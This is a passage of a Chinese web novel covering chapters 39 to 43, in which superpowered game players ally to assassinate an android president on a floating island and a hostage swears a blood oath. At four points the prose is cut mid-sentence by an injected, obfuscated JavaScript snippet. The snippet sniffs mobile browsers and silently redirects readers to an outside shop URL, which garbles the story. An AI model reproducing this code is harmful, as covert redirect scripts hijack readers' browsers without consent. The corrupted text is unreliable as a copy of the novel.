丛黎收回手，没有继续拉动那架战斗机，她有些诧异地看向云端大楼下方。 穿着异能局白色制服的女保镖站在楼下，正抬头看向楼顶，和她对视。 玩家小白，异能局派出来到总统身边的保镖，真名蒋涟霏，异能“誓言子弹”。 蒋涟霏朝她比了个口型：“我在这里。” 就在这时，系统终于马后炮地提示了珍稀道具的使用方式。 【誓约之盾：在保护誓约战友时每使用一次便增强一次属性，其余时间每使用一次便损耗一次。】 39. 死亡交响4 惊诧之余，担忧也浮了上来。 丛黎看向楼下的蒋涟霏，瞳孔里难以置信的神色如同深渊膨胀。她无法遏制自己的震惊。 作为异能局派出的保镖，蒋涟霏来到这里的代价是—— 人工智能冬客向所有守卫部人员的端口发送消息：“出现新目标，异能局586431号叛变。” ——是背叛！ 【小白plus】：如果不是你提醒我，我这次任务一定会死。你的任务还没完成，我作为盟友当然要过来帮你。（碰拳） “叛变？”辛莱拉从远视镜里望出去，按照人工智能的提示看向地面上那个女人。 人工智能立刻在远视镜的视野里锁定：“新目标出现，直线距离九十八米。” “请注意，对方为‘誓言子弹’异能者，普通枪械无法击中目标。” 辛莱拉起了疑心：“不是说异能是‘誓言子弹’吗？为什么狙击无法击中目标？” 人工智能语气毫无波动：“抱歉，按照我对异能相关的知识并不能回答该问题，我只是阐述此前所发生的事实。” 辛莱拉几乎怀疑这个叫蒋涟霏的异能局叛徒帮“高维空间”挡下了她的侵入，但她没有证据，只是某种直觉。 虽然异能者只拥有一种异能，但每个异能演变所生的技能千变万化。像辛莱拉，她的“领域侵入”不仅有“领域探测”、“领域防守”，就连“侵入”都有“广泛侵入”和“精准侵入”之分。如果不是经过专门了解，一般猜不到某个异能者到底使用了什么技能。 与此同时，纪学默的终端上也弹出了来自人工智能的消息：【提醒全体A级权限者：异能局586431号叛变，注意保持警惕。】 “原来之前你去洗手间，见的是那个保镖，”纪学默若有所思，“她应该和你一样是来自另一个维度世界的人……高维降临？……彼此有心灵感应？这样的人还有很多吗？” 不是说今天不会探究任何关于她的事吗？ 丛黎倒是想怼他两句。 这个凭借蛛丝马迹便能推理出异能、任务、玩家的家伙，确实让人又咬牙切齿又无可奈何。 但现在可不是给他答疑的时间。 拥有“誓约之盾”的玩家小白，也就是蒋涟霏，虽然从某种意义上来说是近乎刀枪不入的状态，但风险依然存在。 首先，系统提示“其他状态下使用誓约之盾会损耗”。 其次，按照这个世界中异能之间互相制约的现状来看，一定存在能克制“誓约之盾”的异能。 因此，最好的办法是让蒋涟霏带到她旁边，物理距离越近越好。这样，当攻击袭来时，盾牌始终处于“保护誓约之友”的状态，不会有任何损耗。 这对丛黎和蒋涟霏来说都是有利的。 她迅速联系玩家小白：【谢谢，我明白了。按照誓约之盾的属性，接下来的作战我们两个最好是绑在一起，我马上过去接你。】 …… 狙击手在核心大楼上瞄准着蒋涟霏。 守卫部分析师又接到了活儿，手忙脚乱地赶到监控前，分析新出现的不安因素。 “蒋涟霏，异能‘誓言子弹’，其余没有了，这不是异能局知根知底的吗？为什么我还要再分析一遍？” 人工智能：“然而狙击和守卫机器人的攻击对她无效。” 分析师抓耳挠腮：“但她真的没有其他异能了。有没有可能还有一个潜藏着的不安因素，那个人的异能是‘无效’或者是‘保护队友’什么的呢？” “不排除该可能性，正在对浮空岛进行大范围筛查。” 人工智能的声音一顿，语速适中地报出下一个动向： “——最新情况，目标赶往刺客所在地。” 分析师自己的活儿闲下来了，又开始管闲事了：“希琼，你说句话啊，现在乱成一锅粥了。” 通讯器里传来希琼的声音：“已安排下一轮试探性攻击，请随时准备分析敌人状况。” 狙击手的瞄准点从核心大楼中消失了。 从远处驶来的装甲车顶缓缓掀起，一个同样穿着黑色作战服的瘦弱男子站起来，悬立在车顶上，手指间多了两张卡牌。 防卫特殊编队三队，曹锐，异能“双重本能”。 两张卡牌，一张黑，一张白。 他指尖一动，两张卡牌脱手飞出去，在空中如同被什么牵引着似的直直地朝蒋涟霏的方向飞去。 双重本能指的是心理学上人类行为的两种动机：生的本能与死的本能。 卡牌到达距离目标某个特定数值以内，对方将面临两张卡牌的选择，选择了“死的本能”卡牌，则会当场自杀，三秒内没有进行选择则自动选择“死的本能”，超过特定距离则重新靠近目标并重新开始计时，三次失效后自动收回卡牌。 蒋涟霏看着飞向她的东西，下意识觉得不妙。 那两张纸片一样的东西在气流中翻滚着在她面前停下，似乎是她没有见过的异能。 曹锐蹲伏在装甲车车顶上，等待目标进行卡牌选择。 正在这时，玩家有点的消息来了：【谢谢，我明白了。按照誓约之盾的属性，接下来的作战我们两个最好是绑在一起，我马上过去接你。】 两张卡牌在她面前排列开，上方开始跳动秒数。 选择倒计时：三秒，两秒…… 誓约之盾无法阻挡这个异能的攻击。 惊恐的感觉漫上来，让她感到眼前发黑，她几乎抬起手，在最后一秒前选择其中一张。 黑卡牌，还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715260|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白卡牌？ 选择的指针在两者之间摇摆时，蒋涟霏忽然感觉到身体一轻。 再回过神来，她已经在云端大楼的楼顶了。 蒋涟霏有些眩晕，辨认出了旁边人的模样，被斗篷和面具包裹得严严实实的黑发女性，正是玩家“有点方”。 “谢谢……”她还没来得及完整地道谢，那两张卡牌紧跟着她飞上楼顶，又在她面前排列开。 黑卡牌，白卡牌。 选择倒计时：三秒，两秒…… 丛黎看出来了，这黑白卡牌大概就是纪学默和她提过的“双重本能”。 生的本能，死的本能。 “麻烦你再瞬移几次了。”丛黎说。 她打开远景，把蒋涟霏放到停在飞船机场上的飞船内。 蒋涟霏睁开眼发现自己到了公务员飞船内，内心无比震惊：“瞬移到了飞船内？” 两张黑白卡牌径直穿过飞船，飞到蒋涟霏面前，再度开始倒计时。 丛黎忍不住在内心骂了一句：这个异能好烦人。 她再次转移蒋涟霏。 蒋涟霏重新回到她身边时，卡牌终于消失了。 “看来是三次，三次后需要异能者重新发动能力。”丛黎确定了。 黑白卡牌飞回装甲车，曹锐手指一张，接住了卡牌。 装甲车车顶再度合上。 曹锐：“事情有点难办，一个小时内我都无法再对蒋涟霏发动攻击了。” 队长希琼：“但她的‘盾牌’不能抵挡你的攻击，这一点是确定的。” 暂时陷入僵局。 辛莱拉依然操纵着战斗机盘旋着。 云端大楼楼顶上，丛黎一手揣着自己的容器盒子，一边要用手操控着高维移物，一边还要装模作样地挟持纪学默，有点力不从心。 蒋涟霏主动提出：“需要帮你挟持一下那个人吗？” 纪学默看向丛黎。 【别忘了，和我做交易的是你。】 然而，下一秒，颈项上温热的触感便离开了他。 丛黎毫不留情地把人质推给蒋涟霏：“谢谢，麻烦了。” 没想到，蒋涟霏当场把人质退货还给丛黎：“倒不用把人质给我，我有更好的办法。” 蒋涟霏问纪学默：“你答应做她的人质吗？” 纪学默：“好。” “誓言之链，成立。” 银色的光链出现在了纪学默的手腕上。另一端，则缠绕在了丛黎藏在斗篷下的盒子上。 丛黎看到眼前跳出来的面板：“……等等？” 蒋涟霏：“除非你说出‘你可以走了’解除誓言，否则人质一直会和你在一起，你还可以收紧链子的距离让他靠近你，把距离调到负数就可以伤害人质。” 40. 死亡交响5 纪学默低头看向那条银色光链。 形似锋利的弯月，稍有不慎就会切进肌肤里，染上鲜艳的血液。 “誓言之链控制的最远距离是多少？”他问。 丛黎正在让蒋涟霏给她上第二条誓言之链，在她和蒋涟霏之间同样建立一个互相绑定的誓言。 听到纪学默的问题，她瞥向他：“别告诉他，他在动歪脑筋。” 蒋涟霏把第二条誓言之链在自己和丛黎之间建立完毕，道：“这个说一下也没关系，最远只有一米距离，超过一米就会自动跟随。” 纪学默若有所思：“也就是说，如果我希望能随时随地找到她，只能让某个定位点异能者帮我。” 丛黎无语：“……我说了吧，他在动歪脑筋。” “誓言之链”是意外之喜。 她最困扰的两点，一是领域侵入的威胁，二是活动自由度受限。 盒子不长脚，她只能让高维投影带着盒子走，但这样一来，高维投影就无法随时收回，而且盒子作为容器是不能被转移的。 现在，蒋涟霏的誓言之链通过“誓言”的形式将两人绑在一起，只要她将蒋涟霏投放到不同的地点，和蒋绑定的盒子就可以完成“瞬间移动”了。 这样一来，她根本不需要和防卫部谈判！ 丛黎抬头看向空中盘旋的战斗机。云端大楼楼顶的风吹动着她的虚影斗篷。 在纪学默和希琼的谈判中，她基本上可以确定防卫特殊编队三队队长希琼是“鸽派”。 需要担心的因素是辛莱拉，这位空战王牌似乎是“鹰派”和“野马”的结合体，从刚才她违反队长命令开始攻击就可以看出来了。 她现在要做的第一件事：利用“誓言之链”瞬移，对浮空岛进行大范围搜索，找到真正的总统。 飞船回地面的时间是下午五点，浮空岛就那么大，她的狙杀目标无处可逃。 …… 战斗机的引擎声音在空中振动着，划破气流。 辛莱拉和队长起了一点意见上的分歧，她坚持道：“我现在有百分之八十的把握，那个盾牌并不是属于高维空间的。应该尽快找到另一个隐藏在暗处的同伙，这样我就能放手处理这个棘手的高维空间了。” 队长希琼驳回了她的提议：“很抱歉，我不是这样认为的。” 辛莱拉的脾气上来了：“那你是怎么想的？别管纪学默了，这件事说不定就和他有关！” 希琼沉默了一下：“抱歉。” 辛莱拉的目光盯着下方大楼：“别来这一套，你以为我不知道吗？你嘴上道歉、妥协，行动的时候只会一意孤行。我承认统筹协调是你的长项，但在战斗方面，我的观察不会有错——我们没有时间在这里争执了，希琼。” 希琼的声音里多了几分冷意：“好，我也不会再向你解释，你如果不满我的决策，今天可以暂时脱队自由行动。” 辛莱拉一把扯掉通讯器。 在鼓动的气流里，她的作战服领口在飞扬着。 狙击枪的瞄准镜里，十字准星正中央是那个穿着黑色西装的男子。 模式：智能追引式狙击 目标：人质纪学默 …… 纪学默没有抬头，不用看也知道他被空中那位飞行员视为目标了。 辛莱拉性格肆意自在，被编入防卫特殊编队第三队，很大原因是考虑到第三队需要一个搜索者。 她个人战斗经验充足，由于异能是“领域侵入”，因此和其他队员很少有配合作战的机会，对队长希琼的服从度也低。 这次，“高维空间”异能者的出现，可谓是专业对口，正好撞上辛莱拉的枪口。 辛莱拉的作战欲望已经攀升到顶峰，她会排除万难地攻击“高维空间”。当然，这个“万难”中，就有他——人质纪学默。 纪学默轻声叹了一口气。 和诡计多端的阴谋家交涉，很简单。 但是和不顾一切的疯狂的人交涉，对他来说有点困难。 辛莱拉就是那类人。她根本不担心自己之后会遭受什么处分，她只要达到自己的目的，连自己的性命都不顾。 狙击枪的十字准星瞄准了他。 纪学默低头看向光链，锋利的光芒像要割破他的手腕。 他不合时宜地想起来，双重本能指的是生的本能和死的本能。 大多数时候，他都被生的本能所支配。 饥肠辘辘地用脱身之计和囚犯换一个面包的时候，从垃圾堆里钻出来的时候，浑身血污混进船内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720285|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候，夺过枪杀死真正的纪学默的时候。 但他偶尔也会被死的本能占据心神。 当他不想再费劲动脑思考的时候，死的本能就自然浮现了，因为他知道，没有人会来救他的。 子弹破空而来。 背景音嘈杂，战斗机的引擎声音，地面上的声音，丛黎和她的队友交谈的声音。 有些瞬间会被无限放慢，时间扩展拉长，在那个瞬间感官都会被极致放大。 安静向他飞来的子弹似乎是一寸一寸地在向他逼近。 纪学默在那个瞬间之内思绪回转，替丛黎分析了一下现在的局面。 尾迹云组织的计划A失败，但计划B已经成功了，她还不知道； 人权会的卧底应该已经出手了，规划部不得不开紧急会议； 面对内部人员的背叛，异能局的反应可以想象得到； 防卫部和异能局之间的分歧会加剧； 浮空岛上的议会和重要人员，这个时间点大概都去避难了； 控制人工智能冬客的泽维尔那一派势力正在窃喜，等待局势的发展； 总统背后的政党现在比谁都急。 思考的宫殿内，多个线索交织纠缠，而他像华丽的吊灯一样俯瞰着下方的战场。 冷眼旁观，既抽离又深陷其中。 咻！ 子弹划破了他的脸颊，血液迸溅出来。 纪学默怔了怔，瞳孔微张。 腰间多了力道和触感。他因为受伤而开始剧烈搏动的心脏频率加快，肾上腺素狂飙。 他低下头看到她的手臂横在他的腰间，半搂着他，把他往后面带了一带。 在那个瞬间，子弹擦过他的脸颊，往后飞了过去。 “丛黎。”他忽然叫道，声音在气流里散成碎片。 丛黎在远景里看到辛莱拉把狙击枪抬起来的时候，还没有来得及收紧誓言之链的距离，下意识地做出了肢体动作。 她拦腰把纪学默猛的往后一扯，并迅速发动高维传送，免得这个时代的智能狙击快速跟上来。 “再见，空战王牌，不和你玩了。”她抬头看向在空中盘旋的战斗机。 高维传送带动誓言之链，云端大楼楼顶上，三个人的身影消失了。 41. 死亡交响6 蒙芙·埃文斯总统身边只有一位结界能力者，名叫章久安，也是防卫特殊编队第三队的队员。 两人沿着浮空岛的建筑暗道走着，周围的墙壁上浮动着像沙漏一般往下倾泻的光线。 “异能局派来的保镖果然叛变了，真是有意思。”蒙芙总统冷笑着道。 章久安知道未来可能会借机清算异能局，他故意假装东张西望的样子没有答话，免得被卷进势力斗争中。 保护总统是个力气活，更是个需要强大内心的活儿。 章久安的通讯器内，队长希琼的声音传来：“高维空间能力者消失了，应该是通过某种手段实现了瞬间移动，章久安，现在发动结界，不到万不得已绝不能解除。” 章久安：“收到。” 高维空间……完全抵挡侵入……瞬间移动…… 光是单个拎出来就足以让人忌惮的异能，同时出现在了一个人身上。 章久安是个怕麻烦的人，他稍微想象了一下对手，立刻感到了头疼。 “埃文斯女士，出现了不可预料的危险，我们必须停下来，暂时由我的结界来保护您。”他说。 蒙芙总统停下脚步：“什么时候可以解除结界？” 章久安在总统周围施放了一个结界，光芒在暗道里和周围的光线几乎融在一起。 他撕开结界走进去，身后的穹形光膜重新合上。 “结界内无法和外界交流，我可以随意进出结界，所以我会在外面等待消息，至于埃文斯女士，您可能需要一直待在结界内。” 章久安已经预想到了总统会不满这种安排，说话的时候有些局促。 而蒙芙总统果然有些不悦地变了脸色：“意思是，在你们防卫部下指令前，我只能像缩头乌龟一样躲在这里？” 章久安太阳穴的青筋突突跳着，他最不擅长应付冲突，更何况对面是总统：“呃……敌人很强，我们会尽快抹消敌人的存在……” 蒙芙总统打断他：“我等你们一刻钟，在那之后我必须和我所代表的政党进行商讨会议。” …… 不同的人，不同的性格，不同的战局。 实力上的不对等可以通过利用敌人的性格、动机和矛盾来弥补。 丛黎是从与她里莎船长的战斗里悟到了这些。 现在她要充分利用这一点。 她带着其他两人转移到了观景台上。 蒋涟霏问：“现在我们是在找总统的位置，对吗？” 丛黎环顾四周：“因为岛上所有地方都开始警戒了，所以在下一次攻击前，我们得搜索完周围的情况，然后迅速转移。” 纪学默擦了一把脸颊上的血，有些走神。 丛黎瞥了他一眼。 现在这个三人小队里，她和蒋涟霏是系统认定过的“盟友”，有誓约之盾的保护，只有纪学默是完全暴露在危险下的，任何一个机器人守卫员都能把他打成筛子。 最初把他当作人质，是为了躲过“领域侵入”并换取谈判的机会。 但现在局势大变，“誓约之盾”的存在和两人技能组合技版本的瞬移让她不再需要谈判。 她完全可以不管纪学默的生死。 但是她不能不管——不仅仅是因为忌惮纪学默的手段和报复心。 注意到了她的视线，纪学默抬眼和她对视。 “为什么救我？对你来说，我这个人质现在已经无用了。” 质问正中她的心脏。 “好巧，我也在思考这个问题。”她答道。 纪学默怔了一怔，似乎没有料到她会如此回答，眼睫微微垂了垂，居然少见地没了下一句话。 在那一瞬间，丛黎确实没有想那么多，像捞汤圆一样顺手就把他捞过来了。不过如果要说理由，现在再找找也是有的。 缺德一点的比如：人质总是有用的，现在用不到等会也能用得到。 高尚一点的比如：交易是两个人做的，也是她把纪学默扯入危险中的，她多少该负点责任。 周全一点的比如：纪学默是关键人物，或许可以从他身上薅一点情报作战方案什么的。 太多了，她不是很想一一列举出来。 “找找周围有没有结界，有没有总统。”丛黎迅速撇开这个话题。 她开了一级、二级、三级远景，三层障碍内的空间她都能触及。 通过多次瞬移，就能搜索全岛了。 在这期间需要注意的只有一点：躲开攻击。 嗡—— 两只无人机巡逻到了观景台附近，检测到了不安因素，立刻拉响警报。 刺耳锐利的响声像音响产生的突然音爆一样，冲击波凶猛地鼓入耳膜。 “警戒！坐标K附近发现不安因素！” 伴随着警报声而来的是无人机的自动追踪袭击。人工智能指挥的攻击指令很迅速。 金属和机械交织在一起的火花带着摧毁殆尽的气势飞旋而来。 【高维移物/誓言之链】 丛黎一刻也不耽误，立刻紧急转移到了另一个地点。 到达下一个地点，她反应过来。 又给纪学默那小子得意的资本了。 面对这种物理攻击，她和蒋涟霏现在是无需惧怕的，所以根本无需转移。 需要保护的脆娃娃只有纪学默。 “不管人质就开始攻击，看来浮空岛上的人工智能也不是很给你面子，幕僚长？”她顺口调侃了一句。 纪学默冷静地回答道：“冬客是个狡猾的家伙。它大概从刚才辛莱拉的攻击里分析出了什么结果，算准了你会保护我。” 他说“算准了你会保护我”的时候，盯着她的目光不自觉收紧了。 丛黎总觉得他话里有话，但现在来不及细想。 丛黎：“……哦，那照你的说法，几次下来，它就算准了我肯定能逃过攻击，然后摸鱼不工作了？” 正说着，一只无人机从这边晃过去了，不痛不痒地响起警报。 没有亮起攻击灯。 蒋涟霏：“……” 纪学默：“……你看到了。” 丛黎不知该作何反应。 没上岛之前，她以为的总统区防卫系统：精英机器人部队，各显神通的异能者，多方交杂但相辅相成的势力，统筹兼顾的人工智能。 上了岛以后才发现，真相是：做个摆设的机器人部队，不守纪律的异能者，内斗得鼻青脸肿的势力，浑水摸鱼的人工智能。 “当然，它给上头的报告一定是考虑到节约军火资源和人质安全，不做多余的攻击。”纪学默道。 丛黎补了一句：“说不定还悄悄在给你放水。” 蒋涟霏的神经从今天早上开始便一直紧绷着，此时形势的缓解、意外的插曲和队内的说笑让她稍微放松了一点。 她第一次注意到两人之间的关系，好奇道：“你们的关系好像很好。” “纪学默，你回答。”丛黎把话抛给了纪学默，不再参与话题，专心搜索周围环境。 素来能言的纪学默竟有些语噎，他眼中的神色摇动了几分。 他的视线在丛黎身上停留了少许，又看向监控摄像头。 “她救了我，只是这样而已。” 蒋涟霏也不是傻子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725535|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她仔细想想就会发现从刚才开始，纪学默就不像个正常的人质。 但她能理解纪学默那样说的原因：“原来如此，那是。” 纪学默却知道，他并非完全出于对监控的忌惮才那样回答的。 他在害怕其他的东西。 疯狂滋生，以惊人的速度蔓延，侵蚀理智，既让他感到害怕，也让他感到欣喜。 丛黎完成了对周围的搜索，再一次移动到了另一个地方。 有了人工智能的变相妥协，她的行动方便了许多。她在建筑和暗道内穿梭，完美避开飞行员辛莱拉的视线。 当然，她现在可以确定，防卫特殊编队三队一定改变策略，去总统旁边守株待兔了。 几次瞬移后，丛黎隔着两层障碍锁定了一个暗道。 在那里，结界的光芒就像指路灯一样耀眼地亮着。 周围看似什么都没有，没有防卫特殊编队，也没有机器人守卫。 纪学默问：“总统和结界能力者待在一起，你想好怎么攻破结界了吗？防卫特殊编队三队也在那里等着你。” 丛黎再次瞬移到不远处，她没有直接回答，而是说：“等着吧，我们会赢的。” 不同的人，不同的性格，不同的战局。 蒋涟霏是个纯粹的人，她敢赌命，敢做出决定，她敢于在论坛上坦白自己的身份和任务信息、甚至和一个动机未知的玩家实地见面。所以蒋涟霏才做出了叛变、和她一起完成任务的决定，换一个玩家绝不可能放弃安全而来冒险。 辛莱拉性格急躁疯狂，她想和“高维空间”正面硬刚的欲望强烈，因此摆脱队长的指挥，反而失去了和她交手的机会。 就连人工智能冬客都有自己的性格底色，那是混合了它背后势力的立场和机器过于理性思考的性格杂交物。 实力上的不对等可以通过利用敌人的性格、动机和矛盾来弥补。 丛黎分析道：“总统一定不愿意一直待在结界里，而且她出结界的意愿很强烈。所以我不需要攻破结界，只要等待总统不耐烦，出结界就行。” 无论是“仿生人和背后的势力联系”，还是“和政党进行商讨”，或是“出面安抚旅游团”，随便哪一个理由都是总统离开结界的催化剂。 “我特意采取了混乱的移动，他们不知道我的瞬移模式，无法预测我的下一个落脚点，即使是守株待兔也不能把我怎么样。” “剩下的变数，再说。” 蒋涟霏看向她，没有说话，却通过论坛秘密联系她。 【小白plus】：你的心理素质真的好棒，刚才出现两个总统的时候，我差点以为你要放弃了，特地跑过来帮你。 丛黎回应了她的注视，和她相视一笑。 【有点方】：我厌恶那种都快完成任务了却前功尽弃的感觉，越是这样，我越是想做到最后。 一种奇怪的好胜心。 就像她可以主动摆烂，躺平做咸鱼，睡个天昏地暗十天八天，她非但不讨厌，而且相当喜欢这种死气沉沉的生活——但她不可以被人揍到在床上昏迷十天八天。丧家之犬和丧系可不是同一个意思。 隔着两堵墙，丛黎从远景里看到：保护着蒙芙总统的结界解开了。 光芒散去的瞬间，她看准目标，隔空下手！ 【我可以说自己是个烂人，因为我确实是个烂人。】 【但其他人不可以说我是个烂人，因为我会不爽。】 仿生人总统在出结界的一刹那，身体就被转移到了远处，转瞬之间，身体材料散落一地，人造血液流淌下来。 主芯片爆裂的火光在监控画面里溢出。 42. 死亡交响7 系统：【恭喜玩家1000在盟友的帮助下完成任务，获得特质道具*记忆分存，玩家2600获得特质道具体验机会一次】 悬崖边的轮子终于停止往前滚动。 游戏论坛上。 5L：组成同盟的两位玩家都完成任务了！ 18L：牛啊！“刺杀总统”和“阻止神秘组织刺杀总统”两个任务原来并不冲突，原来是先阻止神秘组织刺杀，再自己上去刺杀是吗？ 33L：要长脑子了。顺便蹭蹭。 56L：库金利区，浮空岛，听说那里戒备森严，能混进去完成两个任务真的很牛了。膜拜大佬！顺便蹭蹭，祝我也能完成未来触发的任务。 98L：很快就能看到“总统被刺杀”的新闻了，好激动好激动，期待我们的玩家露脸！不对……要是真的露脸了，以后怎么办啊？有点担心起来了。 235L：那个道具“记忆分存”是什么？是可以消除记忆的吗？希望两位玩家不要成为通缉犯，顺利从浮空岛离开（祈祷）。 356L：蹭蹭，蹭秃噜皮！ 当然，在玩家中也有质疑的发言。 59L：刺杀总统是什么光荣的事吗？你们是真的觉得这只是个游戏？只是完成任务而已？如果任务让你们屠城，你们也会照做？玩个游戏怎么把三观都玩没了？我真的想不明白。 61L：楼上什么成分？那你去死，让这个虚拟的联邦欣欣向荣吧。 62L：对我来说，游戏就是游戏，就算穿越了也是游戏，我的底线就是不杀玩家。 63L：万一是真实存在的世界呢？如果这个任务引发了后面一连串的事件，让更多的人死去呢？ 123L：我对各位半场开香槟的行为不做评价。总之就是希望我们玩家群体不要因此遭殃，不要因为这些任务而被集体抓捕追杀。 124L：真的会被追杀吗？这么一说好像有点担心。 丛黎顾不上思考这些。 她在虚影披风下悄悄比了一个得意的手势，心理压力轻了一些。 “继续。” 接下来就是逃离浮空岛的作战。 纪学默忽然开口道：“等一等。” 纪学默道：“在你行动前，有些事必须要告诉你，在那之后你的作战计划或许会改变。” “组织的计划A失败了，但组织的计划B成功了。” 丛黎知道，按照尾迹云组织的规模和背后势力，这个行动如此草率是相当可疑的，应该会留有后手。 她诧异道：“已经成功了？” 纪学默：“还记得总统演播室里那段画面和声音吗？包括那个小型爆炸？” 丛黎：“那是组织的手笔？我以为是……” 她的话头停下了。 演播室那个事故一定是另一个势力的手笔。对于蒙芙总统和她背后的政党来说，这是极其不利的。 但如果是组织安排的，那么这个演播室事故到底是怎么做到的？ 纪学默：“那段总统说话的视频，是黑客在演播室系统内埋下的病毒种子。” 总统演播室需要有总统的指纹才能开启，人们先入为主地认为能进入演播室的一定是真正的总统。 但另外一个可能性也是存在的：系统内部本身植入的病毒。只是人们往往不愿意相信在浮空岛，在机密的总统演播室，系统居然会被植入病毒。 丛黎：“所以，蒙芙总统说话、遇袭的画面，那只是一段视频？事实上并没有人潜入演播室？” 纪学默：“只是包含在系统病毒内的一段前置视频，那段视频播放了总统说话的声音和画面，特地选用了‘我的身份……’这句话。” “而那场爆炸，不是仿生人爆炸，而是病毒种子引起的系统和机房爆炸。” 难怪…… 难怪虽然演播室里的爆炸声音很响亮，但爆炸范围却很小，只有演播室的范围那么大，核心大楼安然无恙。 对比苍术的仿生人解体爆炸，两者之间有如天壤之别。 丛黎：“被骗了，大家都被一个视频骗了。” 她最初以为有三个仿生人总统，但事实上只有两个仿生人总统。 其中一个是替身，是因为蒙芙·埃文斯不信任异能局，所以让替身和异能局的保镖走，自己则和防卫部的结界能力者走。 而这两个仿生人总统，都被她掏了芯片。 至于演播室里那个总统，只是一个虚假的画面，是来自另一个势力的烟雾/弹。 “组织的目的，是让旅游团和旅游团中的人权会卧底见证这一幕，从而怀疑总统的身份。” “为了加深游客们的怀疑，组织应该还用了其他手段，比如让其他人潜伏在浮空岛上，比如几个月前新招的咖啡厅服务员。” 纪学默补充道。 听到这里，丛黎有些不理解了。 尾迹云组织的总统身份揭露计划： 计划A：在旅游团的见证下，仿生人解体，刺杀仿生人总统，安排盒子背黑锅。 计划B：黑客植入病毒，安排服务员潜入岛上，制造总统被刺杀的假象。 组织为什么大费周章，即使刺杀不成功也要欺骗旅游团，让游客们怀疑总统的身份？ 纪学默向她走近了两步：“我单独和你说。” 蒋涟霏回避：“知道了，我不打扰你们。” 纪学默又向她靠近了一步，直到两人之间只剩下三五厘米的距离。 “这次行动的负责人桑寄并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730087|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道的是，主使人黎平微定下这个任务，是因为——” 他眼里什么情绪都没有，仿佛只是阐述一个再普通不过的事件，但用这样平静的语气说出来的内容却令人心悸： “他们怀疑在仿生人背后，除了政党以外，还有一种智慧异形生物在控制着仿生人总统。” 纪学默漆黑的眼睛注视着她，他声音放轻了： “它们可能来自一个更高的维度。” “这就是为什么黎家要大费周章拿你做幌子和替罪羊的原因。” 系统：【检测到任务“穿越真相”的第二块线索碎片，该线索为限时线索，于七小时后失效。】 丛黎的瞳孔豁然缩了一下。 异形……不，纪学默的意思是：那是一种智慧生物，只是外形有别于人类而已。 “智慧生物”带来的未知和深渊般的恐惧感让她骤然之间有些迷茫无措。 一个完全未知的世界，可能和人类体系完全不同的世界体系和力量体系。 而这个未知的世界探出了其中的一个触角，隐藏在人类世界汹涌的表面之下。 暗河之下又有暗河。 深渊之下又有深渊。 真相之下又有真相。 而所有线索碎片的背后到底是什么？引导着玩家们层层深入这些世界体系的系统，到底是什么？ 她镇定下来，质问纪学默：“为什么告诉我？你之前打算把这件事瞒着我的，是不是？” 纪学默笑了起来，他垂下眼帘掩去眼中锋芒的时候便显得相当无害而乖顺，睫毛微微动了动。 “我本来想看着你死的。” 他伸出手去触碰她，他触碰不到她的投影，但他能触碰到盒子。他的手穿过虚影，仿佛被黑色的斗篷笼罩在其中，按在了盒子上。 手指按在盒子上的那一瞬间，“誓言之链”的诅咒发动。 人质主动拉进距离至零时，誓言之链将把链子距离调整为负数。 那道锋利的光链切入了他的手腕，皮肤刺破，血流了出来。 但他不为所动。 两人之间的距离近极了，从外面看是在黑色斗篷内相拥。 “我之前很好奇，你到底对我做了什么。” “但我现在已经知道了。” 血从他白皙的手腕上淌下来。 肌肤下匍匐的青色血管在无声地涌动着，和心脏的起伏频率一致。 纪学默的指腹按紧了盒面，手指关节微曲。 像是一个誓言的仪式。 “所以我可以为你做任何事。”他说。 她可以仍然做她自己，但她的目光要属于他，触碰也要属于他，爱要属于他，恨也要属于他。 纪学默想。 43. 死亡交响8 “我可以为你做任何事。” 血液从白皙的手腕上刺目地淌下来，像是一场献祭，誓言和血摆在祭坛上。 构成他的线条清晰分明，脸颊上划出的血痕呼应着新的伤口。 丛黎从他漆黑的瞳孔里看到了错愕的自己。 